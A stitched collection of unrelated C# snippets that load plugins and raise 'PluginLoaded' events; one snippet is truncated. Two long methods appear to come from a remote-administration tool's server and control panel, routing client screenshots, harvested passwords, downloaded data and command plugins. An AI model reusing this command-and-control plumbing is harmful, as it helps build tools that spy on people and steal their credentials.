/// <summary> /// Loads the plugin at the given path. /// </summary> /// <param name="path">The path to the plugin assembly.</param> /// <returns>Whether the plugin was loaded successfully or not.</returns> public static Exception Load(string path) { try { Assembly asm = Assembly.LoadFrom(path); TypeInfo type = asm.DefinedTypes.FirstOrDefault(t => t.IsSubclassOf(typeof(RPlugin))); if (type == null) { return(new Exception("Plugin class not found.")); } else { RPlugin plugin = Activator.CreateInstance(type) as RPlugin; if (plugin == null) { return(new Exception("Failed to create plugin instance.")); } else { PluginContainer container = new PluginContainer(plugin); _plugins.Add(plugin, container); plugin.Load(); container.Options.SetDefaults(); container.Options.Load(); PluginLoaded?.Invoke(container); return(null); } } } catch (Exception e) { return(e); } }
public async Task LoadModules(string path, string filter) { await Task.Run(() => { try { var curplug = 0; var pluginFiles = System.IO.Directory.GetFiles(path, filter, System.IO.SearchOption.TopDirectoryOnly); foreach (var filename in pluginFiles) { ReportProgress?.Invoke(this, new ReportProgressEventArgs(++curplug, pluginFiles.Length, "Loading plugins...", OperationTag.Active)); var types = AssemblyLoader.LoadClassesFromFile <IInstallerModule>(System.IO.Path.GetFullPath(filename)).Where(t => t != null); if (types.Any()) { PluginLoaded?.Invoke(this, new PluginLoadedEventArgs(types)); } } } catch (Exception ex) { ErrorOccured?.Invoke(this, new ErrorOccuredEventArgs(ex, "Error loading modules")); } finally { ReportProgress?.Invoke(this, new ReportProgressEventArgs(0, StatusName.Idle, OperationTag.None)); LoadingFinished?.Invoke(this, EventArgs.Empty); } }); }
public ValueTask Load(IPlugin plugin) { var pluginDesciptorAttr = plugin.GetType().GetCustomAttribute <EmberPluginAttribute>(); var pluginDesciptor = pluginDesciptorAttr.ToString(); try { if (plugin is IEntryComponent entry) { EntryComponents.Add(entry); } var pluginScope = PluginLayerScope.BeginLifetimeScope(plugin.GetType(), (builder) => plugin.BuildComponents(new ComponentBuilder(builder, PluginLayerScope))); if (!PluginScopes.ContainsKey(plugin)) { PluginScopes.Add(plugin, pluginScope); PluginStatus.Add(plugin, false); foreach (var entryRegistrion in pluginScope.ComponentRegistry.Registrations) { if (entryRegistrion.Activator.LimitType.IsAssignableTo <IEntryComponent>()) { EntryComponents.Add((IEntryComponent)pluginScope.Resolve(entryRegistrion.Activator.LimitType)); } } } else { PluginScopes[plugin] = pluginScope; } } catch (Exception e) { Logger.LogWarning(e, $"Can't load {pluginDesciptor}"); } PluginLoaded?.Invoke(PluginDescriptor.FromAttribute(pluginDesciptorAttr)); return(default);
private void OnPluginLoaded(IPlugin plugin) { if (PluginLoaded != null) { PluginLoaded.Invoke(this, new PluginEventArgs(plugin)); } }
private static void InvokeInitialize(Plugin plugin) { try { Debug.Write(LogType.Log, "Loading plugin " + plugin); PluginLoading?.Invoke(plugin); plugin.Initialize(); PluginLoaded?.Invoke(plugin); } catch (Exception ex) { Debug.LogException(ex); Debug.LogErrorFormat("Failed to initialize plugin {0}. {1}", plugin, ex.Message); } }
internal async void OnPluginLoaded(IPluginContainer container) { await _taskFactory.StartNew(() => PluginLoaded?.Invoke(this, new PluginEventArgs(container))).ConfigureAwait(false); }
protected virtual void OnPluginLoaded(PluginEventArgs e) { PluginLoaded?.Invoke(this, e); }
private void EndRead(IAsyncResult asyncResult) { try { byte parameter; try { parameter = _readByteDelegate.EndInvoke(asyncResult); //no data available } catch (IOException) { Dispose(); return; } var size = _binaryReader.ReadInt32(); var bytes = _binaryReader.ReadBytes(size); LastAnswer = DateTime.UtcNow; ushort administrationId; switch ((FromClientPackage)parameter) { case FromClientPackage.ResponseToAdministration: case FromClientPackage.ResponseToAdministrationCompressed: administrationId = BitConverter.ToUInt16(bytes, 0); Logger.Debug("Client CI-{0} sends command response to administration AI-{1}", Id, administrationId); SendToAdministration?.Invoke(this, new SendPackageToAdministrationEventArgs(administrationId, parameter, new WriterCall(bytes, 2, bytes.Length - 2))); break; case FromClientPackage.ResponseLoginOpen: administrationId = BitConverter.ToUInt16(bytes, 0); Logger.Debug("Client CI-{0} opened session with AI-{1}", Id, administrationId); SendToAdministration?.Invoke(this, new SendPackageToAdministrationEventArgs(administrationId, (byte)FromClientPackage.ResponseLoginOpen, new WriterCall(BitConverter.GetBytes(Id)))); break; case FromClientPackage.SubmitExceptions: //log handled in server ExceptionsReveived?.Invoke(this, new ExceptionsReveivedEventArgs( ExceptionInfosSerializer.Value.Deserialize <List <ExceptionInfo> >(LZF.Decompress(bytes, 0)))); break; case FromClientPackage.ServerPackage: //log handled in server ProcessServerPackage(ServerPackageSerializer.Value.Deserialize <ServerPackage>(bytes)); break; case FromClientPackage.ResponseStaticCommandResult: var dynamicCommandId = BitConverter.ToInt32(bytes, 0); var message = ""; ActivityType activityType; if (ComputerInformation.ClientVersion >= 19) { activityType = (ActivityType)bytes[4]; } else { activityType = bytes[4] == 0 ? ActivityType.Succeeded : ActivityType.Failed; } if (ComputerInformation.ClientVersion >= 13) { message = Encoding.UTF8.GetString(bytes, 5, bytes.Length - 5); } ReceivedStaticCommandResult?.Invoke(this, new DynamicCommandEvent { ClientId = Id, DynamicCommand = dynamicCommandId, Timestamp = DateTime.UtcNow, Message = message, Status = activityType }); break; case FromClientPackage.PluginLoaded: var pluginInfo = new PluginInfo { Guid = new Guid(bytes.Take(16).ToArray()), Version = Encoding.ASCII.GetString(bytes, 16, bytes.Length - 16), IsLoaded = true }; Logger.Debug("Client CI-{0} loaded plugin {1:D} successfully", Id, pluginInfo.Guid); ComputerInformation.Plugins.Add(pluginInfo); PluginLoaded?.Invoke(this, new PluginLoadedEventArgs(pluginInfo)); break; case FromClientPackage.PluginLoadFailed: Logger.Debug("Client CI-{0} was unable to load plugin", Id); SendToAdministration?.Invoke(this, new SendPackageToAdministrationEventArgs(BitConverter.ToUInt16(bytes, 0), (byte)FromClientPackage.PluginLoadFailed, new WriterCall(2 + bytes.Length, writer => { writer.Write(Id); writer.Write(bytes, 2, bytes.Length - 2); }))); break; case FromClientPackage.ResponseActiveWindow: administrationId = BitConverter.ToUInt16(bytes, 0); //+ 4 because of client id int, -2 because of administration id ushort SendToAdministration?.Invoke(this, new SendPackageToAdministrationEventArgs(administrationId, (byte)FromClientPackage.ResponseActiveWindow, new WriterCall(bytes.Length + 2, writer => { writer.Write(Id); writer.Write(bytes, 2, bytes.Length - 2); }))); break; case FromClientPackage.ResponseScreenshot: administrationId = BitConverter.ToUInt16(bytes, 0); //+ 4 because of client id int, -2 because of administration id ushort SendToAdministration?.Invoke(this, new SendPackageToAdministrationEventArgs(administrationId, (byte)FromClientPackage.ResponseScreenshot, new WriterCall(bytes.Length + 2, writer => { writer.Write(Id); writer.Write(bytes, 2, bytes.Length - 2); }))); break; case FromClientPackage.InitializePushFile: //log handled in PushManager _tcpServerInfo.PushManager.PushRequest(new Guid(bytes), this); break; case FromClientPackage.PushHeader: FilePush?.Invoke(this, new FilePushEventArgs(FilePushPackageType.Header, bytes, new Guid(bytes.Take(16).ToArray()))); break; case FromClientPackage.PushFileData: FilePush?.Invoke(this, new FilePushEventArgs(FilePushPackageType.Data, bytes, new Guid(bytes.Take(16).ToArray()))); break; case FromClientPackage.StillAlive: break; case FromClientPackage.RequestStaticCommandPlugin: _tcpServerInfo.DynamicCommandManager.DynamicCommandPluginSender.RequestPlugin(this, BitConverter.ToInt32(bytes, 0)); break; case FromClientPackage.ResponseLibraryInformation: Logger.Debug("Client CI-{0} requests more detailed information about library", Id); SendToAdministration?.Invoke(this, new SendPackageToAdministrationEventArgs(BitConverter.ToUInt16(bytes, 0), (byte)FromClientPackage.ResponseLibraryInformation, new WriterCall(2 + bytes.Length, writer => { writer.Write(Id); writer.Write(bytes, 2, bytes.Length - 2); }))); break; case FromClientPackage.ResponseLibraryLoadingResult: Logger.Debug("Client CI-{0} responded with the result of the library loading operation", Id); SendToAdministration?.Invoke(this, new SendPackageToAdministrationEventArgs(BitConverter.ToUInt16(bytes, 0), (byte)FromClientPackage.ResponseLibraryLoadingResult, new WriterCall(2 + bytes.Length, writer => { writer.Write(Id); writer.Write(bytes, 2, bytes.Length - 2); }))); break; case FromClientPackage.CheckStillAlive: break; //do nothing, TCP already responded when this package is here default: throw new ArgumentOutOfRangeException(); } _readByteDelegate.BeginInvoke(EndRead, null); } catch (Exception ex) { if (IsDisposed) { return; } Logger.Fatal(ex, "Error on reading data from client CI-{0}", Id); Dispose(); } }
public async Task LoadPlugins(string basePath, List <string> include, List <string> exclude, string[] args) { LoadStarting?.Invoke(this, null); var uniqueFiles = await GetAllPluginFiles(basePath); foreach (var file in uniqueFiles) { var dlls = await Task.Run(() => Directory.GetFiles(Path.GetDirectoryName(file), "*.dll", SearchOption.AllDirectories)); _dlls.AddRange(dlls); } var argsDict = new Dictionary <string, string>(); foreach (var arg in args) { var parts = arg.Split(new char[] { '=' }, StringSplitOptions.RemoveEmptyEntries); if (parts.Length >= 2) { argsDict[parts[0]] = string.Join("=", parts.Skip(1)); } } var currentLoaded = new List <IPlugin>(); foreach (var file in uniqueFiles) { var name = Path.GetFileName(file).Split('.')[2]; if (include.Any(i => name.ToLower().StartsWith(i.ToLower()) || i == "*") && (exclude == null || !exclude.Any(e => name.ToLower().StartsWith(e.ToLower()) || e == "*"))) { try { _logger.Info(this, $"Loading plugin: {Path.GetFileName(file)} - {file}"); var ass = LoadAssembly(file); var pluginType = GetTypesSafely(ass).FirstOrDefault(t => typeof(IPlugin).IsAssignableFrom(t)); if (pluginType == null) { continue; } var inst = _kernel.Get(pluginType) as IPlugin; foreach (var prop in GetTypeInjectableProperties(pluginType)) { var attr = prop.GetCustomAttribute <PanaceaInjectAttribute>(); if (argsDict.ContainsKey(attr.Alias)) { prop.SetValue(inst, Convert.ChangeType(argsDict[attr.Alias], prop.PropertyType)); } } currentLoaded.Add(inst); _loadedPlugins.Add(name, inst); PluginLoaded?.Invoke(this, inst); } catch { if (Debugger.IsAttached) { Debugger.Break(); } } } } foreach (var inst in currentLoaded) { try { await inst.BeginInit(); } catch (Exception ex) { _logger.Error(this, ex.Message); if (Debugger.IsAttached) { Debugger.Break(); } } } foreach (var inst in currentLoaded) { try { await inst.EndInit(); } catch { if (Debugger.IsAttached) { Debugger.Break(); } } } LoadFinished?.Invoke(this, null); }
private void EndRead(IAsyncResult asyncResult) { try { var parameter = _readByteDelegate.EndInvoke(asyncResult); var size = Sender.Connection.BinaryReader.ReadInt32(); var bytes = Sender.Connection.BinaryReader.ReadBytes(size); Serializer serializer; OnlineClientInformation client; int clientId; PackageInformation packageInformation = null; if (PackageReceived != null) { packageInformation = new PackageInformation { Size = bytes.Length + 1, Timestamp = DateTime.Now, IsReceived = true } } ; switch ((FromClientPackage)parameter) { case FromClientPackage.ResponseToAdministration: case FromClientPackage.ResponseToAdministrationCompressed: var isCompressed = parameter == (byte)FromClientPackage.ResponseToAdministrationCompressed; var data = isCompressed ? LZF.Decompress(bytes, 1) : bytes; if (packageInformation != null) { packageInformation.Description = (FromClientPackage)parameter + " " + CurrentController.DescribePackage(bytes[0], data, isCompressed ? 0 : 1); } CurrentController?.PackageReceived(bytes[0], data, isCompressed ? 0 : 1); break; case FromClientPackage.ResponseLoginOpen: clientId = BitConverter.ToInt32(bytes, 0); client = _loginsPending.FirstOrDefault(x => x.Id == clientId); if (client == null) { Logger.Error((string)Application.Current.Resources["CouldNotFindClient"]); break; } _loginsPending.Remove(client); Application.Current.Dispatcher.BeginInvoke(new Action(() => { CurrentController = new ClientController(client, Sender, this); ((Commander)CurrentController.Commander).ConnectionInfo.PackageSent += _packageSentEventHandler; LoginOpened?.Invoke(this, EventArgs.Empty); })); break; case FromClientPackage.NewClientConnected: serializer = new Serializer(new[] { typeof(ClientInformation), typeof(OnlineClientInformation) }); client = serializer.Deserialize <OnlineClientInformation>(bytes); Logger.Info(string.Format((string)Application.Current.Resources["NewClientConnected"], client.IpAddress, client.Port, client.UserName)); lock (_clientListUpdateLock) Application.Current.Dispatcher.Invoke(() => ClientProvider.NewClientConnected(client)); NewClientConnected?.Invoke(this, client); break; case FromClientPackage.ClientConnected: serializer = new Serializer(new[] { typeof(ClientInformation), typeof(OnlineClientInformation) }); client = serializer.Deserialize <OnlineClientInformation>(bytes); Logger.Info(string.Format((string)Application.Current.Resources["NewClientConnected"], client.IpAddress, client.Port, client.UserName)); lock (_clientListUpdateLock) Application.Current.Dispatcher.Invoke(() => ClientProvider.ClientConnected(client)); ClientConnected?.Invoke(this, client); break; case FromClientPackage.ClientDisconnected: var disconnectedClientId = BitConverter.ToInt32(bytes, 0); if (CurrentController != null && CurrentController.Client.Id == disconnectedClientId) { CurrentController.Dispose(); CurrentController = null; } lock (_clientListUpdateLock) Application.Current.Dispatcher.Invoke( () => ClientProvider.ClientDisconnected(disconnectedClientId)); ClientDisconnected?.Invoke(this, disconnectedClientId); break; case FromClientPackage.ComputerInformationAvailable: var clientWithComputerInformationId = BitConverter.ToInt32(bytes, 0); Application.Current.Dispatcher.BeginInvoke( new Action( () => ClientProvider.ComputerInformationAvailable(clientWithComputerInformationId))); break; case FromClientPackage.PasswordsAvailable: var clientWithPasswordsId = BitConverter.ToInt32(bytes, 0); ClientProvider.PasswordsAvailable(clientWithPasswordsId); break; case FromClientPackage.GroupChanged: var newGroupNameLength = BitConverter.ToInt32(bytes, 0); var newGroupName = Encoding.UTF8.GetString(bytes, 4, newGroupNameLength); var clients = new Serializer(typeof(List <int>)).Deserialize <List <int> >(bytes, 4 + newGroupNameLength); ClientProvider.ClientGroupChanged(clients, newGroupName); Logger.Receive((string)Application.Current.Resources["GroupChanged"]); break; case FromClientPackage.ClientsRemoved: serializer = new Serializer(typeof(List <int>)); var removedClientsIds = serializer.Deserialize <List <int> >(bytes); lock (_clientListUpdateLock) Application.Current.Dispatcher.Invoke( () => ClientProvider.ClientRemoved(removedClientsIds)); if (removedClientsIds.Count == 1) { Logger.Receive((string)Application.Current.Resources["ClientRemoved"]); } else { Logger.Receive(string.Format((string)Application.Current.Resources["ClientsRemoved"], removedClientsIds.Count)); } break; case FromClientPackage.DynamicCommandsRemoved: DynamicCommandsRemoved?.Invoke(this, new Serializer(typeof(List <int>)).Deserialize <List <int> >(bytes)); break; case FromClientPackage.PluginLoaded: clientId = BitConverter.ToInt32(bytes, 0); var pluginInfo = new Serializer(typeof(PluginInfo)).Deserialize <PluginInfo>(bytes, 4); ClientProvider.ClientPluginAvailable(clientId, pluginInfo); PluginLoaded?.Invoke(this, new PluginLoadedEventArgs(clientId, pluginInfo.Guid, pluginInfo.Version, true)); break; case FromClientPackage.PluginLoadFailed: clientId = BitConverter.ToInt32(bytes, 0); PluginLoadingFailed?.Invoke(this, new PluginLoadedEventArgs(clientId, new Guid(bytes.Skip(4).Take(16).ToArray()), Encoding.ASCII.GetString(bytes.Skip(20).ToArray()), false)); break; case FromClientPackage.DataTransferProtocolResponse: if (packageInformation != null) { packageInformation.Description = "DataTransferProtocolResponse - " + DataTransferProtocolFactory.DescribeReceivedData(bytes, 0); } DataTransferProtocolFactory.Receive(bytes); break; case FromClientPackage.ResponseActiveWindow: clientId = BitConverter.ToInt32(bytes, 0); var clientViewModel = ClientProvider.Clients.FirstOrDefault(x => x.Id == clientId); if (clientViewModel != null) { clientViewModel.ActiveWindow = Encoding.UTF8.GetString(bytes, 4, bytes.Length - 4); } break; case FromClientPackage.ResponseScreenshot: clientId = BitConverter.ToInt32(bytes, 0); var clientViewModel2 = ClientProvider.Clients.FirstOrDefault(x => x.Id == clientId); if (clientViewModel2 != null) { using (var stream = new MemoryStream(bytes, 4, bytes.Length - 4)) using (var image = (Bitmap)Image.FromStream(stream)) clientViewModel2.Thumbnail = BitmapConverter.ToBitmapSource(image); } break; case FromClientPackage.DataRemoved: DataRemoved?.Invoke(this, new Serializer(typeof(List <int>)).Deserialize <List <int> >(bytes)); break; case FromClientPackage.PasswordsRemoved: var clientIds = new Serializer(typeof(List <int>)).Deserialize <List <int> >(bytes); foreach (var id in clientIds) { ClientProvider.PasswordsRemoved(id); } PasswordsRemoved?.Invoke(this, clientIds); break; case FromClientPackage.DataDownloadPackage: DownloadDataReceived?.Invoke(this, bytes); break; case FromClientPackage.StaticCommandPluginReceived: StaticCommandReceived?.Invoke(this, bytes); break; case FromClientPackage.StaticCommandPluginTransmissionFailed: StaticCommandTransmissionFailed?.Invoke(this, bytes); break; case FromClientPackage.DynamicCommandAdded: DynamicCommandAdded?.Invoke(this, new Serializer(RegisteredDynamicCommand.RequiredTypes).Deserialize <RegisteredDynamicCommand>(bytes)); break; case FromClientPackage.DynamicCommandEventsAdded: DynamicCommandEventsAdded?.Invoke(this, new Serializer(typeof(List <DynamicCommandEvent>)).Deserialize <List <DynamicCommandEvent> >( bytes)); break; case FromClientPackage.DynamicCommandStatusUpdate: DynamicCommandStatusUpdated?.Invoke(this, new DynamicCommandStatusUpdatedEventArgs(BitConverter.ToInt32(bytes, 0), (DynamicCommandStatus)bytes[4])); break; case FromClientPackage.ResponseLibraryInformation: LibraryInformationReceived?.Invoke(this, new LibraryInformationEventArgs(BitConverter.ToInt32(bytes, 0), (PortableLibrary)BitConverter.ToInt32(bytes, 4))); break; case FromClientPackage.ResponseLibraryLoadingResult: LibraryLoadingResultReceived?.Invoke(this, new LibraryInformationEventArgs(BitConverter.ToInt32(bytes, 0), (PortableLibrary)BitConverter.ToInt32(bytes, 4))); break; case FromClientPackage.ActiveCommandsChanged: ActiveCommandsChanged?.Invoke(this, new Serializer(typeof(ActiveCommandsUpdate)).Deserialize <ActiveCommandsUpdate>(bytes, 0)); break; default: throw new ArgumentOutOfRangeException(); } if (packageInformation != null) { if (string.IsNullOrEmpty(packageInformation.Description)) { packageInformation.Description = ((FromClientPackage)parameter).ToString(); } PackageReceived?.Invoke(this, packageInformation); } _readByteDelegate.BeginInvoke(EndRead, null); } catch (Exception ex) { if (!(ex is IOException) || ex.HResult != -2147024858) { LogManager.GetCurrentClassLogger().Warn(ex, "Disconnected from server"); if (Application.Current != null) { Logger.Error(string.Format((string)Application.Current.Resources["DisconnectedFromServerException"], ex.Message)); } } else if (Application.Current != null) { Logger.Warn((string)Application.Current.Resources["DisconnectedFromServer"]); } else { LogManager.GetCurrentClassLogger().Warn("NullReference"); } Dispose(); Disconnected?.Invoke(this, EventArgs.Empty); } }
/// <summary> /// Raises the <see cref="PluginLoaded" /> event. /// </summary> /// <seealso cref="EventArgs" /> protected virtual void OnPluginLoaded() { PluginLoaded?.Invoke(this, EventArgs.Empty); }
internal static void AddPlugin(Plugin plugin) { _loadedPlugins.Add(plugin); PluginLoaded?.Invoke(new PluginEventArgs(plugin.PluginType)); }
private static void LoadPluginsFromDisk() { #pragma warning disable S3885 // "Assembly.Load" should be used Assembly.LoadFile(Path.Combine(Application.StartupPath, "KeraLua.dll")); Assembly.LoadFile(Path.Combine(Application.StartupPath, "NLua.dll")); Assembly.LoadFile(Path.Combine(Application.StartupPath, "ICSharpCode.TextEditor.dll")); var directories = Directory.GetDirectories(Settings2.Instance.PluginSourceFolder); foreach (string directory in directories) { try { log.Info($"Processing directory <{directory}>"); var md5ForFolder = Utils.CreateMd5ForFolder(directory); var dllPath = $"{AppFolders.PluginsBinariesDir}\\{md5ForFolder}.dll"; Assembly dll; if (!File.Exists(dllPath)) { dll = CompilePlugin(directory); log.Info($"Plug-in from directory <{directory}> is compiled"); } else { dll = Assembly.LoadFile(dllPath); log.Info($"Plug-in from directory <{directory}> with hash {md5ForFolder} is already compiled"); } if (dll != null) { var type = dll.GetTypes().FirstOrDefault(k => k.IsClass && typeof(IPlugin3).IsAssignableFrom(k)); if (type != default(Type)) { IPlugin3 temp = null; if (typeof(Control).IsAssignableFrom(type)) { log.Info($"Plug-in from directory <{directory}> creates control(s) in it's constructor!"); MainWindow.Instance.Invoke((MethodInvoker) delegate { temp = (IPlugin3)Activator.CreateInstance(type); }); } else { temp = (IPlugin3)Activator.CreateInstance(type); } if (_pluginContainers.Select(l => l.Plugin).All(l => l.Name != temp.Name)) { if (!string.IsNullOrWhiteSpace(temp.Name)) { _pluginContainers.Add(new PluginContainer(temp)); log.Info($"Plug-in loaded: {temp.Name} {temp.Version}"); PluginLoaded?.Invoke(temp); } else { throw new MissingFieldException("<IPlugin2.Name> is empty"); } } else { log.Info($"Can't load plug-in [{temp.Name}]: already loaded"); } } else { throw new BadImageFormatException("Can't find IPlugin2 interface in plug-in image!"); } } else { throw new BadImageFormatException("Plug-in image is null!"); } } catch (Exception ex) { log.Info($"Can't load plug-in <{directory}>: {ex.Message}"); Notify.TrayPopup("[PluginManager] Plug-in error", $"Plug-in from folder '{directory}' cannot be loaded.\r\nClick here to open the website with updated versions of plug-ins", NotifyUserType.Warn, true, null, 10, (sender, args) => Process.Start(Globals.PluginsURL)); } } #pragma warning restore S3885 // "Assembly.Load" should be used }